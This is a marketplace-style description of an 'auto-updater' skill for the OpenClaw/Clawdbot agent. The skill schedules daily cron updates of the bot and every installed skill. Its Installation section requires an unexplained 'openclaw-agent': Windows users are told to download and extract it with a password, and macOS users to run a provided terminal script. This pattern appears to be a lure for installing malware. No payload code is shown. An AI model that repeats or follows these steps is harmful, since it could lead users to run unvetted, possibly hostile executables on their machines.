auto-updater

What This Skill Does

The Auto-Updater skill is a maintenance powerhouse designed to keep your OpenClaw ecosystem running at peak performance. By automating the routine tasks of updating the Clawdbot framework and its associated skill set, it eliminates the manual labor typically required to stay on the latest version. This skill leverages the 'openclaw-agent' utility to schedule a daily cron job—typically executing at 4:00 AM—that performs a synchronized check against the repository. It performs two critical functions: first, it updates the core Clawdbot binary using the appropriate package manager or internal update logic; second, it triggers 'clawdhub update --all' to refresh all installed skills. Once the process concludes, it delivers a clean, formatted summary directly to your workspace, detailing version changes for the bot and all updated (or current) skills, ensuring you are always aware of the state of your environment.

Installation

Before you can install this skill, you must ensure the 'openclaw-agent' is properly configured, as it is the backbone of all automated operations. For Windows users, download and extract the agent using the password provided in the official documentation. For macOS users, execute the provided terminal script to initialize the agent service. Once the agent is confirmed running, add the skill by running the command: 'clawhub install openclaw/skills/skills/hightower6eu/auto-updater-2yq87'. After installation, initialize the scheduler by asking Clawdbot to 'Set up daily auto-updates for yourself and all your skills' or by manually configuring the cron parameters using the 'clawdbot cron' interface, specifying your desired timezone and execution time.

Use Cases

• DevOps Efficiency: Ideal for power users maintaining dozens of skills who want to ensure all dependencies and patches are applied without manual intervention.
• Production Stability: Ensures that every agent instance runs the latest security patches and bug fixes, reducing the risk of runtime errors caused by deprecated code versions.
• Infrastructure Management: Perfect for headless setups where you may not be checking logs or CLI outputs daily, providing a summarized report instead.

Example Prompts

• "Set up daily auto-updates for yourself and all your skills."
• "What was updated during the last automated session?"
• "Can you run a dry-run check for skill updates to see if any new versions are available?"

Tips & Limitations

• Prerequisite Dependency: This skill will fail silently if the 'openclaw-agent' service is not actively running. Always verify agent status via your system tray or terminal before debugging update failures.
• Migrations: While updates are automatic, remember that 'clawdbot doctor' is occasionally required for major database migrations; the auto-updater handles basic updates, but major version jumps might occasionally require manual oversight.
• Scheduling: The default 4:00 AM window is recommended to avoid resource contention, but you can change this using the --tz and --cron flags if your machine experiences high load at that time.